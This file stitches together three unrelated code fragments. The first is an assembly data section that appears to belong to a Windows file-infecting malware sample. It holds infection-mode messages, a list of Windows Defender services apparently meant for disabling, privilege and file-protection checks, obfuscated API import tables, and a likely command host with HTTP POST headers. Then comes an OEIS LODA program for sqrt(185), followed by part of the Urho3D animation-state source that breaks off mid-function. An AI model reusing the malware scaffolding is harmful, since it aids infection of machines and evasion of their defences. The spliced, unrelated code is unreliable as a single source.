2 .type __ReadFile,object .comm __ReadFile,4 .globl __MultiByteToWideChar .align 2 .type __MultiByteToWideChar,object .comm __MultiByteToWideChar,4 .globl __LocalFree .align 2 .type __LocalFree,object .comm __LocalFree,4 .globl __LocalAlloc .align 2 .type __LocalAlloc,object .comm __LocalAlloc,4 .globl __GetTempPath .align 2 .type __GetTempPath,object .comm __GetTempPath,4 .globl __GetSystemTime .align 2 .type __GetSystemTime,object .comm __GetSystemTime,4 .globl __GetFileSize .align 2 .type __GetFileSize,object .comm __GetFileSize,4 .globl __CloseHandle .align 2 .type __CloseHandle,object .comm __CloseHandle,4 .globl __WriteFile .align 2 .type __WriteFile,object .comm __WriteFile,4 .globl __SetFilePointer .align 2 .type __SetFilePointer,object .comm __SetFilePointer,4 .globl __DeleteFile .align 2 .type __DeleteFile,object .comm __DeleteFile,4 .globl __CreateFile .align 2 .type __CreateFile,object .comm __CreateFile,4 .globl __LoadLibrary .align 2 .type __LoadLibrary,object .comm __LoadLibrary,4 .globl __GetModuleHandle .align 2 .type __GetModuleHandle,object .comm __GetModuleHandle,4 .globl __ExitThread .align 2 .type __ExitThread,object .comm __ExitThread,4 .globl __IsBadStringPtrW .align 2 .type __IsBadStringPtrW,object .comm __IsBadStringPtrW,4 .globl __Process32Next .align 2 .type __Process32Next,object .comm __Process32Next,4 .globl __Process32First .align 2 .type __Process32First,object .comm __Process32First,4 .globl __CreateToolhelp32Snapshot .align 2 .type __CreateToolhelp32Snapshot,object .comm __CreateToolhelp32Snapshot,4 .globl __VirtualProtect .align 2 .type __VirtualProtect,object .comm __VirtualProtect,4 .globl __Sleep .align 2 .type __Sleep,object .comm __Sleep,4 .globl __LeaveCriticalSection .align 2 .type __LeaveCriticalSection,object .comm __LeaveCriticalSection,4 .globl __InitializeCriticalSection .align 2 .type __InitializeCriticalSection,object .comm __InitializeCriticalSection,4 .globl __EnterCriticalSection .align 2 .type __EnterCriticalSection,object .comm __EnterCriticalSection,4 .globl __CreateThread .align 2 .type __CreateThread,object .comm __CreateThread,4 .globl __GetProcAddress .align 2 .type __GetProcAddress,object .comm __GetProcAddress,4 .extern _VirtualFree@12 .extern _FreeLibrary@4 .extern _GetModuleHandleA@4 .extern _lstrlenA@4 .extern _lstrcmpiA@8 .extern _strcpy@8 .extern __sleep .data _$1724: ; "kernel32.dll\x0" .byte 107,101,114,110,101,108,51,50,46,100,108,108,0 _$1709: ; "%s_mtx1\x0" .byte 37,115,95,109,116,120,49,0 _$1700: ; "gazavat-svc\x0" .byte 103,97,122,97,118,97,116,45,115,118,99,0 _$1699: ; "%s_%u\x0" .byte 37,115,95,37,117,0 _$1698: ; "000\x0" .byte 48,48,48,0 _$1693: ; "no kkqvx.dll, cant infect\x0" .byte 110,111,32,107,107,113,118,120,46,100,108,108,44,32,99,97 .byte 110,116,32,105,110,102,101,99,116,0 _$1692: ; "INFECT MODE ON: the last warning! Are u sure? Kill process if NO.\x0" .byte 73,78,70,69,67,84,32,77,79,68,69,32,79,78,58,32 .byte 116,104,101,32,108,97,115,116,32,119,97,114,110,105,110 .byte 103,33,32,65,114,101,32,117,32,115,117,114,101,63,32 .byte 75,105,108,108,32,112,114,111,99,101,115,115,32,105,102 .byte 32,78,79,46,0 _$1691: ; "INFECT MODE ON: found kkqvx.dll, kill process now if launched by mistake\x0" .byte 73,78,70,69,67,84,32,77,79,68,69,32,79,78,58,32 .byte 102,111,117,110,100,32,107,107,113,118,120,46,100,108,108 .byte 44,32,107,105,108,108,32,112,114,111,99,101,115,115,32 .byte 110,111,119,32,105,102,32,108,97,117,110,99,104,101,100 .byte 32,98,121,32,109,105,115,116,97,107,101,0 _$1688: ; "kkqvx.dll\x0" .byte 107,107,113,118,120,46,100,108,108,0 _$1674: ; "kkq-vx\x0" .byte 107,107,113,45,118,120,0 _$1673: ; "%s_mtx%u\x0" .byte 37,115,95,109,116,120,37,117,0 _$1658: ; "not init dll\x0" .byte 110,111,116,32,105,110,105,116,32,100,108,108,0 _$1657: ; "not found func\x0" .byte 110,111,116,32,102,111,117,110,100,32,102,117,110,99,0 _$1656: ; "8\x0" .byte 56,0 _$1653: ; "7\x0" .byte 55,0 _$1652: ; "TestRun\x0" .byte 84,101,115,116,82,117,110,0 _$1651: ; "6\x0" .byte 54,0 _$1648: ; "5\x0" .byte 53,0 _$1647: ; "4\x0" .byte 52,0 _$1646: ; "c:\test.bin\x0" .byte 99,58,92,116,101,115,116,46,98,105,110,0 _$1643: ; "3\x0" .byte 51,0 _$1642: ; "1\x0" .byte 49,0 _$1640: ; "testdll.dll\x0" .byte 116,101,115,116,100,108,108,46,100,108,108,0 _$1464: ; "Content-Length: 3\x0" .byte 67,111,110,116,101,110,116,45,76,101,110,103,116,104,58,32 .byte 51,0 _$1463: ; "Content-Type: application/x-www-form-urlencoded\x0" .byte 67,111,110,116,101,110,116,45,84,121,112,101,58,32,97,112 .byte 112,108,105,99,97,116,105,111,110,47,120,45,119,119,119 .byte 45,102,111,114,109,45,117,114,108,101,110,99,111,100,101 .byte 100,0 _$1462: ; "Accept: */*\x0" .byte 65,99,99,101,112,116,58,32,42,47,42,0 _$1454: ; "POST\x0" .byte 80,79,83,84,0 _$1415: ; "b=1\x0" .byte 98,61,49,0 _$1409: ; ".7z\x0" .byte 46,55,122,0 _$1408: ; ".inc\x0" .byte 46,105,110,99,0 _$1407: ; ".phtm\x0" .byte 46,112,104,116,109,0 _$1406: ; ".php3\x0" .byte 46,112,104,112,51,0 _$1405: ; ".phtml\x0" .byte 46,112,104,116,109,108,0 _$1404: ; "rus.gipa.in\x0" .byte 114,117,115,46,103,105,112,97,46,105,110,0 _$1403: ; "bRS8yYQ0APq9xfzC\x0" .byte 98,82,83,56,121,89,81,48,65,80,113,57,120,102,122,67 .byte 0 _$1096: ; "%s%s\\x0" .byte 37,115,37,115,92,0 _$1084: ; "%s*\x0" .byte 37,115,42,0 _$1079: ; "%c:\\x0" .byte 37,99,58,92,0 _$1041: ; "taskmgr.\x0" .byte 116,97,115,107,109,103,114,46,0 _$1038: ; "rundll32.\x0" .byte 114,117,110,100,108,108,51,50,46,0 _$1035: ; "init.\x0" .byte 105,110,105,116,46,0 _$1032: ; "cmd.\x0" .byte 99,109,100,46,0 _$1029: ; "xplore.\x0" .byte 120,112,108,111,114,101,46,0 _$1026: ; "xplorer.\x0" .byte 120,112,108,111,114,101,114,46,0 _$971: ; "\\x0" .byte 92,0 _$826: ; "PACK\x0" .byte 80,65,67,75,0 _$527: ; "svchost\x0" .byte 115,118,99,104,111,115,116,0 _$524: ; ".exe\x0" .byte 46,101,120,101,0 _$516: ; "|\x0" .byte 124,0 _$503: ; "systemprofile\x0" .byte 115,121,115,116,101,109,112,114,111,102,105,108,101,0 _$500: ; "ervice\x0" .byte 101,114,118,105,99,101,0 _$491: ; "$\x0" .byte 36,0 _$490: ; " SERVICE\x0" .byte 32,83,69,82,86,73,67,69,0 _$487: ; "SYSTEM\x0" .byte 83,89,83,84,69,77,0 _$478: ; "|wscsvc|WinDefend|MsMpSvc|NisSrv|\x0" .byte 124,119,115,99,115,118,99,124,87,105,110,68,101,102,101,110 .byte 100,124,77,115,77,112,83,118,99,124,78,105,115,83,114 .byte 118,124,0 _$458: ; "SeTakeOwnershipPrivilege\x0" .byte 83,101,84,97,107,101,79,119,110,101,114,115,104,105,112,80 .byte 114,105,118,105,108,101,103,101,0 _$355: ; "/*@S|*/00CryptStringToBinaryA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,67,114,121,112,116,83,116 .byte 114,105,110,103,84,111,66,105,110,97,114,121,65,47,42 .byte 64,69,42,47,124,0 _$352: ; "crypt32.dll\x0" .byte 99,114,121,112,116,51,50,46,100,108,108,0 _$347: ; "/*@S|*/00ObtainUserAgentString/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,79,98,116,97,105,110,85 .byte 115,101,114,65,103,101,110,116,83,116,114,105,110,103,47 .byte 42,64,69,42,47,124,0 _$344: ; "urlmon.dll\x0" .byte 117,114,108,109,111,110,46,100,108,108,0 _$339: ; "/*@S|*/00InternetReadFile|01InternetOpenA|02InternetConnectA|03HttpOpenRequestA|04HttpAddRequestHeadersA|05HttpSendRequestA|06InternetCloseHandle/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,73,110,116,101,114,110,101 .byte 116,82,101,97,100,70,105,108,101,124,48,49,73,110,116 .byte 101,114,110,101,116,79,112,101,110,65,124,48,50,73,110 .byte 116,101,114,110,101,116,67,111,110,110,101,99,116,65,124 .byte 48,51,72,116,116,112,79,112,101,110,82,101,113,117,101 .byte 115,116,65,124,48,52,72,116,116,112,65,100,100,82,101 .byte 113,117,101,115,116,72,101,97,100,101,114,115,65,124,48 .byte 53,72,116,116,112,83,101,110,100,82,101,113,117,101,115 .byte 116,65,124,48,54,73,110,116,101,114,110,101,116,67,108 .byte 111,115,101,72,97,110,100,108,101,47,42,64,69,42,47 .byte 124,0 _$336: ; "wininet.dll\x0" .byte 119,105,110,105,110,101,116,46,100,108,108,0 _$319: ; "/*@S|*/00RegOpenKeyExA|01RegQueryValueExA|02RegCreateKeyExA|03RegSetValueExA|04RegCloseKey|05GetUserNameA|06OpenProcessToken|07LookupPrivilegeValueA|08GetTokenInformation|09AdjustTokenPrivileges|10InitializeSecurityDescriptor|11SetSecurityDescriptorDacl|12SetSecurityDescriptorOwner|13GetSidIdentifierAuthority|14GetSidSubAuthority|15GetSidSubAuthorityCount|16SetFileSecurityA|17CloseServiceHandle|18QueryServiceConfigA|19EnumServicesStatusA|20OpenServiceA|21OpenSCManagerA|22StartServiceA|23ChangeServiceConfigA|24CryptAcquireContextA|25CryptCreateHash|26CryptHashData|27CryptGetHashParam|28CryptDestroyHash|29CryptReleaseContext|30ControlService|31RegEnumKeyExA|32RegSetKeySecurity|33CryptDecrypt|34CryptDestroyKey|35CryptReleaseContext|36CryptAcquireContextA|37CryptImportKey|38CryptSetKeyParam|39CryptSetKeyParam|40CryptDestroyKey|41CryptReleaseContext/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,82,101,103,79,112,101,110 .byte 75,101,121,69,120,65,124,48,49,82,101,103,81,117,101 .byte 114,121,86,97,108,117,101,69,120,65,124,48,50,82,101 .byte 103,67,114,101,97,116,101,75,101,121,69,120,65,124,48 .byte 51,82,101,103,83,101,116,86,97,108,117,101,69,120,65 .byte 124,48,52,82,101,103,67,108,111,115,101,75,101,121,124 .byte 48,53,71,101,116,85,115,101,114,78,97,109,101,65,124 .byte 48,54,79,112,101,110,80,114,111,99,101,115,115,84,111 .byte 107,101,110,124,48,55,76,111,111,107,117,112,80,114,105 .byte 118,105,108,101,103,101,86,97,108,117,101,65,124,48,56 .byte 71,101,116,84,111,107,101,110,73,110,102,111,114,109,97 .byte 116,105,111,110,124,48,57,65,100,106,117,115,116,84,111 .byte 107,101,110,80,114,105,118,105,108,101,103,101,115,124,49 .byte 48,73,110,105,116,105,97,108,105,122,101,83,101,99,117 .byte 114,105,116,121,68,101,115,99,114,105,112,116,111,114,124 .byte 49,49,83,101,116,83,101,99,117,114,105,116,121,68,101 .byte 115,99,114,105,112,116,111,114,68,97,99,108,124,49,50 .byte 83,101,116,83,101,99,117,114,105,116,121,68,101,115,99 .byte 114,105,112,116,111,114,79,119,110,101,114,124,49,51,71 .byte 101,116,83,105,100,73,100,101,110,116,105,102,105,101,114 .byte 65,117,116,104,111,114,105,116,121,124,49,52,71,101,116 .byte 83,105,100,83,117,98,65,117,116,104,111,114,105,116,121 .byte 124,49,53,71,101,116,83,105,100,83,117,98,65,117,116 .byte 104,111,114,105,116,121,67,111,117,110,116,124,49,54,83 .byte 101,116,70,105,108,101,83,101,99,117,114,105,116,121,65 .byte 124,49,55,67,108,111,115,101,83,101,114,118,105,99,101 .byte 72,97,110,100,108,101,124,49,56,81,117,101,114,121,83 .byte 101,114,118,105,99,101,67,111,110,102,105,103,65,124,49 .byte 57,69,110,117,109,83,101,114,118,105,99,101,115,83,116 .byte 97,116,117,115,65,124,50,48,79,112,101,110,83,101,114 .byte 118,105,99,101,65,124,50,49,79,112,101,110,83,67,77 .byte 97,110,97,103,101,114,65,124,50,50,83,116,97,114,116 .byte 83,101,114,118,105,99,101,65,124,50,51,67,104,97,110 .byte 103,101,83,101,114,118,105,99,101,67,111,110,102,105,103 .byte 65,124,50,52,67,114,121,112,116,65,99,113,117,105,114 .byte 101,67,111,110,116,101,120,116,65,124,50,53,67,114,121 .byte 112,116,67,114,101,97,116,101,72,97,115,104,124,50,54 .byte 67,114,121,112,116,72,97,115,104,68,97,116,97,124,50 .byte 55,67,114,121,112,116,71,101,116,72,97,115,104,80,97 .byte 114,97,109,124,50,56,67,114,121,112,116,68,101,115,116 .byte 114,111,121,72,97,115,104,124,50,57,67,114,121,112,116 .byte 82,101,108,101,97,115,101,67,111,110,116,101,120,116,124 .byte 51,48,67,111,110,116,114,111,108,83,101,114,118,105,99 .byte 101,124,51,49,82,101,103,69,110,117,109,75,101,121,69 .byte 120,65,124,51,50,82,101,103,83,101,116,75,101,121,83 .byte 101,99,117,114,105,116,121,124,51,51,67,114,121,112,116 .byte 68,101,99,114,121,112,116,124,51,52,67,114,121,112,116 .byte 68,101,115,116,114,111,121,75,101,121,124,51,53,67,114 .byte 121,112,116,82,101,108,101,97,115,101,67,111,110,116,101 .byte 120,116,124,51,54,67,114,121,112,116,65,99,113,117,105 .byte 114,101,67,111,110,116,101,120,116,65,124,51,55,67,114 .byte 121,112,116,73,109,112,111,114,116,75,101,121,124,51,56 .byte 67,114,121,112,116,83,101,116,75,101,121,80,97,114,97 .byte 109,124,51,57,67,114,121,112,116,83,101,116,75,101,121 .byte 80,97,114,97,109,124,52,48,67,114,121,112,116,68,101 .byte 115,116,114,111,121,75,101,121,124,52,49,67,114,121,112 .byte 116,82,101,108,101,97,115,101,67,111,110,116,101,120,116 .byte 47,42,64,69,42,47,124,0 _$316: ; "advapi32.dll\x0" .byte 97,100,118,97,112,105,51,50,46,100,108,108,0 _$310: ; "SHGetFolderPathA\x0" .byte 83,72,71,101,116,70,111,108,100,101,114,80,97,116,104,65 .byte 0 _$307: ; "shell32.dll\x0" .byte 115,104,101,108,108,51,50,46,100,108,108,0 _$297: ; "sfc_os.dll\x0" .byte 115,102,99,95,111,115,46,100,108,108,0 _$291: ; "SfcIsFileProtected\x0" .byte 83,102,99,73,115,70,105,108,101,80,114,111,116,101,99,116 .byte 101,100,0 _$286: ; "sfc.dll\x0" .byte 115,102,99,46,100,108,108,0 _$281: ; "/*@S|*/00CallWindowProcA|01CreateWindowExA|02DefWindowProcA|03DestroyWindow|04DispatchMessageA|05GetClassNameA|06GetForegroundWindow|07GetMessageA|08GetWindow|09GetWindowLongA|10GetWindowRect|11GetWindowTextA|12MessageBoxA|13MoveWindow|14RegisterClassA|15SendMessageA|16SetFocus|17SetWindowLongA|18SetWindowTextA|19ShowWindow|20TranslateMessage|21FindWindowExA|22EnumDesktopWindows|23OemToCharA|24CharUpperBuffA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,67,97,108,108,87,105,110 .byte 100,111,119,80,114,111,99,65,124,48,49,67,114,101,97 .byte 116,101,87,105,110,100,111,119,69,120,65,124,48,50,68 .byte 101,102,87,105,110,100,111,119,80,114,111,99,65,124,48 .byte 51,68,101,115,116,114,111,121,87,105,110,100,111,119,124 .byte 48,52,68,105,115,112,97,116,99,104,77,101,115,115,97 .byte 103,101,65,124,48,53,71,101,116,67,108,97,115,115,78 .byte 97,109,101,65,124,48,54,71,101,116,70,111,114,101,103 .byte 114,111,117,110,100,87,105,110,100,111,119,124,48,55,71 .byte 101,116,77,101,115,115,97,103,101,65,124,48,56,71,101 .byte 116,87,105,110,100,111,119,124,48,57,71,101,116,87,105 .byte 110,100,111,119,76,111,110,103,65,124,49,48,71,101,116 .byte 87,105,110,100,111,119,82,101,99,116,124,49,49,71,101 .byte 116,87,105,110,100,111,119,84,101,120,116,65,124,49,50 .byte 77,101,115,115,97,103,101,66,111,120,65,124,49,51,77 .byte 111,118,101,87,105,110,100,111,119,124,49,52,82,101,103 .byte 105,115,116,101,114,67,108,97,115,115,65,124,49,53,83 .byte 101,110,100,77,101,115,115,97,103,101,65,124,49,54,83 .byte 101,116,70,111,99,117,115,124,49,55,83,101,116,87,105 .byte 110,100,111,119,76,111,110,103,65,124,49,56,83,101,116 .byte 87,105,110,100,111,119,84,101,120,116,65,124,49,57,83 .byte 104,111,119,87,105,110,100,111,119,124,50,48,84,114,97 .byte 110,115,108,97,116,101,77,101,115,115,97,103,101,124,50 .byte 49,70,105,110,100,87,105,110,100,111,119,69,120,65,124 .byte 50,50,69,110,117,109,68,101,115,107,116,111,112,87,105 .byte 110,100,111,119,115,124,50,51,79,101,109,84,111,67,104 .byte 97,114,65,124,50,52,67,104,97,114,85,112,112,101,114 .byte 66,117,102,102,65,47,42,64,69,42,47,124,0 _$278: ; "user32.dll\x0" .byte 117,115,101,114,51,50,46,100,108,108,0 _$275: ; "/*@S|*/00toupper|01_sleep|02sprintf|03atoi|04free|05malloc|06memcmp|07memcpy|08memset|09rand|10srand|11strcat|12vsprintf|13wcslen/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,116,111,117,112,112,101,114 .byte 124,48,49,95,115,108,101,101,112,124,48,50,115,112,114 .byte 105,110,116,102,124,48,51,97,116,111,105,124,48,52,102 .byte 114,101,101,124,48,53,109,97,108,108,111,99,124,48,54 .byte 109,101,109,99,109,112,124,48,55,109,101,109,99,112,121 .byte 124,48,56,109,101,109,115,101,116,124,48,57,114,97,110 .byte 100,124,49,48,115,114,97,110,100,124,49,49,115,116,114 .byte 99,97,116,124,49,50,118,115,112,114,105,110,116,102,124 .byte 49,51,119,99,115,108,101,110,47,42,64,69,42,47,124 .byte 0 _$268: ; "crtdll.dll\x0" .byte 99,114,116,100,108,108,46,100,108,108,0 _$265: ; "/*@S|*/00OpenMutexA|01CloseHandle|02ExitThread|03CreateFileA|04DeleteFileA|05SetFilePointer|06WriteFile|07GetFileSize|08lstrlenW|09WinExec|10WideCharToMultiByte|11MultiByteToWideChar|12GetTempPathA|13ReadFile|14VirtualAlloc|15VirtualFree|16LocalAlloc|17LocalFree|18GetSystemTime|19RtlZeroMemory|20FindFirstFileA|21FindNextFileA|22FindClose|23GetDriveTypeA|24GetExitCodeThread|25SetErrorMode|26GetDiskFreeSpaceA|27CopyFileA|28CreateMutexA|29GetModuleFileNameA|30GetSystemDirectoryA|31InterlockedIncrement|32InterlockedDecrement|33GetVolumeInformationA|34CompareFileTime|35FileTimeToSystemTime|36GetVersionExA|37GetLocaleInfoA|38OpenProcess|39GetCurrentProcessId|40GetCurrentThreadId|41FreeEnvironmentStringsA|42GetEnvironmentStringsA|43GetComputerNameA|44WaitForSingleObject|45FreeLibrary|46CreateDirectoryA|47PeekNamedPipe|48CreatePipe|49CreateProcessA|50GetExitCodeProcess|51IsBadStringPtrW|52TerminateThread|53CreateToolhelp32Snapshot|54Process32First|55Process32Next|56TerminateProcess|57lstrlenA|58IsBadReadPtr|59OutputDebugStringA|60lstrcatA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,79,112,101,110,77,117,116 .byte 101,120,65,124,48,49,67,108,111,115,101,72,97,110,100 .byte 108,101,124,48,50,69,120,105,116,84,104,114,101,97,100 .byte 124,48,51,67,114,101,97,116,101,70,105,108,101,65,124 .byte 48,52,68,101,108,101,116,101,70,105,108,101,65,124,48 .byte 53,83,101,116,70,105,108,101,80,111,105,110,116,101,114 .byte 124,48,54,87,114,105,116,101,70,105,108,101,124,48,55 .byte 71,101,116,70,105,108,101,83,105,122,101,124,48,56,108 .byte 115,116,114,108,101,110,87,124,48,57,87,105,110,69,120 .byte 101,99,124,49,48,87,105,100,101,67,104,97,114,84,111 .byte 77,117,108,116,105,66,121,116,101,124,49,49,77,117,108 .byte 116,105,66,121,116,101,84,111,87,105,100,101,67,104,97 .byte 114,124,49,50,71,101,116,84,101,109,112,80,97,116,104 .byte 65,124,49,51,82,101,97,100,70,105,108,101,124,49,52 .byte 86,105,114,116,117,97,108,65,108,108,111,99,124,49,53 .byte 86,105,114,116,117,97,108,70,114,101,101,124,49,54,76 .byte 111,99,97,108,65,108,108,111,99,124,49,55,76,111,99 .byte 97,108,70,114,101,101,124,49,56,71,101,116,83,121,115 .byte 116,101,109,84,105,109,101,124,49,57,82,116,108,90,101 .byte 114,111,77,101,109,111,114,121,124,50,48,70,105,110,100 .byte 70,105,114,115,116,70,105,108,101,65,124,50,49,70,105 .byte 110,100,78,101,120,116,70,105,108,101,65,124,50,50,70 .byte 105,110,100,67,108,111,115,101,124,50,51,71,101,116,68 .byte 114,105,118,101,84,121,112,101,65,124,50,52,71,101,116 .byte 69,120,105,116,67,111,100,101,84,104,114,101,97,100,124 .byte 50,53,83,101,116,69,114,114,111,114,77,111,100,101,124 .byte 50,54,71,101,116,68,105,115,107,70,114,101,101,83,112 .byte 97,99,101,65,124,50,55,67,111,112,121,70,105,108,101 .byte 65,124,50,56,67,114,101,97,116,101,77,117,116,101,120 .byte 65,124,50,57,71,101,116,77,111,100,117,108,101,70,105 .byte 108,101,78,97,109,101,65,124,51,48,71,101,116,83,121 .byte 115,116,101,109,68,105,114,101,99,116,111,114,121,65,124 .byte 51,49,73,110,116,101,114,108,111,99,107,101,100,73,110 .byte 99,114,101,109,101,110,116,124,51,50,73,110,116,101,114 .byte 108,111,99,107,101,100,68,101,99,114,101,109,101,110,116 .byte 124,51,51,71,101,116,86,111,108,117,109,101,73,110,102 .byte 111,114,109,97,116,105,111,110,65,124,51,52,67,111,109 .byte 112,97,114,101,70,105,108,101,84,105,109,101,124,51,53 .byte 70,105,108,101,84,105,109,101,84,111,83,121,115,116,101 .byte 109,84,105,109,101,124,51,54,71,101,116,86,101,114,115 .byte 105,111,110,69,120,65,124,51,55,71,101,116,76,111,99 .byte 97,108,101,73,110,102,111,65,124,51,56,79,112,101,110 .byte 80,114,111,99,101,115,115,124,51,57,71,101,116,67,117 .byte 114,114,101,110,116,80,114,111,99,101,115,115,73,100,124 .byte 52,48,71,101,116,67,117,114,114,101,110,116,84,104,114 .byte 101,97,100,73,100,124,52,49,70,114,101,101,69,110,118 .byte 105,114,111,110,109,101,110,116,83,116,114,105,110,103,115 .byte 65,124,52,50,71,101,116,69,110,118,105,114,111,110,109 .byte 101,110,116,83,116,114,105,110,103,115,65,124,52,51,71 .byte 101,116,67,111,109,112,117,116,101,114,78,97,109,101,65 .byte 124,52,52,87,97,105,116,70,111,114,83,105,110,103,108 .byte 101,79,98,106,101,99,116,124,52,53,70,114,101,101,76 .byte 105,98,114,97,114,121,124,52,54,67,114,101,97,116,101 .byte 68,105,114,101,99,116,111,114,121,65,124,52,55,80,101 .byte 101,107,78,97,109,101,100,80,105,112,101,124,52,56,67 .byte 114,101,97,116,101,80,105,112,101,124,52,57,67,114,101 .byte 97,116,101,80,114,111,99,101,115,115,65,124,53,48,71 .byte 101,116,69,120,105,116,67,111,100,101,80,114,111,99,101 .byte 115,115,124,53,49,73,115,66,97,100,83,116,114,105,110 .byte 103,80,116,114,87,124,53,50,84,101,114,109,105,110,97 .byte 116,101,84,104,114,101,97,100,124,53,51,67,114,101,97 .byte 116,101,84,111,111,108,104,101,108,112,51,50,83,110,97 .byte 112,115,104,111,116,124,53,52,80,114,111,99,101,115,115 .byte 51,50,70,105,114,115,116,124,53,53,80,114,111,99,101 .byte 115,115,51,50,78,101,120,116,124,53,54,84,101,114,109 .byte 105,110,97,116,101,80,114,111,99,101,115,115,124,53,55 .byte 108,115,116,114,108,101,110,65,124,53,56,73,115,66,97 .byte 100,82,101,97,100,80,116,114,124,53,57,79,117,116,112 .byte 117,116,68,101,98,117,103,83,116,114,105,110,103,65,124 .byte 54,48,108,115,116,114,99,97,116,65,47,42,64,69,42 .byte 47,124,0 _$262: ; "/*@S|*/00GetModuleHandleA|01LoadLibraryA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,71,101,116,77,111,100,117 .byte 108,101,72,97,110,100,108,101,65,124,48,49,76,111,97 .byte 100,76,105,98,114,97,114,121,65,47,42,64,69,42,47 .byte 124,0 _$131: ; "://\x0" .byte 58,47,47,0
; A010227: Continued fraction for sqrt(185). ; 13,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1,26,1,1,1,1 mov $4,$0 mov $6,2 lpb $6 mov $0,$4 sub $6,1 add $0,$6 sub $0,1 div $0,5 mov $2,25 mul $2,$0 add $2,12 mov $3,$6 mov $5,16 mul $5,$2 mov $7,$5 lpb $3 mov $1,$7 sub $3,1 lpe lpe lpb $4 sub $1,$7 mov $4,0 lpe div $1,16 add $1,1
// // Copyright (c) 2008-2019 the Urho3D project. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // #include "../Precompiled.h" #include "../Graphics/AnimatedModel.h" #include "../Graphics/Animation.h" #include "../Graphics/AnimationState.h" #include "../Graphics/DrawableEvents.h" #include "../IO/Log.h" #include "../DebugNew.h" namespace Urho3D { AnimationStateTrack::AnimationStateTrack() : track_(nullptr), bone_(nullptr), weight_(1.0f), keyFrame_(0) { } AnimationStateTrack::~AnimationStateTrack() = default; AnimationState::AnimationState(AnimatedModel* model, Animation* animation) : model_(model), animation_(animation), startBone_(nullptr), looped_(false), weight_(0.0f), time_(0.0f), layer_(0), blendingMode_(ABM_LERP) { // Set default start bone (use all tracks.) SetStartBone(nullptr); } AnimationState::AnimationState(Node* node, Animation* animation) : node_(node), animation_(animation), startBone_(nullptr), looped_(false), weight_(1.0f), time_(0.0f), layer_(0), blendingMode_(ABM_LERP) { if (animation_) { // Setup animation track to scene node mapping if (node_) { const HashMap<StringHash, AnimationTrack>& tracks = animation_->GetTracks(); stateTracks_.Clear(); for (HashMap<StringHash, AnimationTrack>::ConstIterator i = tracks.Begin(); i != tracks.End(); ++i) { const StringHash& nameHash = i->second_.nameHash_; AnimationStateTrack stateTrack; stateTrack.track_ = &i->second_; if (node_->GetNameHash() == nameHash || tracks.Size() == 1) stateTrack.node_ = node_; else { Node* targetNode = node_->GetChild(nameHash, true); if (targetNode) stateTrack.node_ = targetNode; else URHO3D_LOGWARNING("Node " + i->second_.name_ + " not found for node animation " + animation_->GetName()); } if (stateTrack.node_) stateTracks_.Push(stateTrack); } } } } AnimationState::~AnimationState() = default; void AnimationState::SetStartBone(Bone* startBone) { if (!model_ || !animation_) return; Skeleton& skeleton = model_->GetSkeleton(); if (!startBone) { Bone* rootBone = skeleton.GetRootBone(); if (!rootBone) return; startBone = rootBone; } // Do not reassign if the start bone did not actually change, and we already have valid bone nodes if (startBone == startBone_ && !stateTracks_.Empty()) return; startBone_ = startBone; const HashMap<StringHash, AnimationTrack>& tracks = animation_->GetTracks(); stateTracks_.Clear(); if (!startBone->node_) return; for (HashMap<StringHash, AnimationTrack>::ConstIterator i = tracks.Begin(); i != tracks.End(); ++i) { AnimationStateTrack stateTrack; stateTrack.track_ = &i->second_; // Include those tracks that are either the start bone itself, or its children Bone* trackBone = nullptr; const StringHash& nameHash = i->second_.nameHash_; if (nameHash == startBone->nameHash_) trackBone = startBone; else { Node* trackBoneNode = startBone->node_->GetChild(nameHash, true); if (trackBoneNode) trackBone = skeleton.GetBone(nameHash); } if (trackBone && trackBone->node_) { stateTrack.bone_ = trackBone; stateTrack.node_ = trackBone->node_; stateTracks_.Push(stateTrack); } } model_->MarkAnimationDirty(); } void AnimationState::SetLooped(bool looped) { looped_ = looped; } void AnimationState::SetWeight(float weight) { // Weight can only be set in model mode. In node animation it is hardcoded to full if (model_) { weight = Clamp(weight, 0.0f, 1.0f); if (weight != weight_) { weight_ = weight; model_->MarkAnimationDirty(); } } } void AnimationState::SetBlendMode(AnimationBlendMode mode) { if (model_) { if (blendingMode_ != mode) { blendingMode_ = mode; model_->MarkAnimationDirty(); } } } void AnimationState::SetTime(float time) { if (!animation_) return; time = Clamp(time, 0.0f, animation_->GetLength()); if (time != time_) { time_ = time; if (model_) model_->MarkAnimationDirty(); } } void AnimationState::SetBoneWeight(unsigned index, float weight, bool recursive) { if (index >= stateTracks_.Size()) return; weight = Clamp(weight, 0.0f, 1.0f); if (weight != stateTracks_[index].weight_) { stateTracks_[index].weight_ = weight; if (model_) model_->MarkAnimationDirty(); } if (recursive) { Node* boneNode = stateTracks_[index].node_; if (boneNode) { const Vector<SharedPtr<Node> >& children = boneNode->GetChildren(); for (unsigned i = 0; i < children.Size(); ++i) { unsigned childTrackIndex = GetTrackIndex(children[i]); if (childTrackIndex != M_MAX_UNSIGNED) SetBoneWeight(childTrackIndex, weight, true); 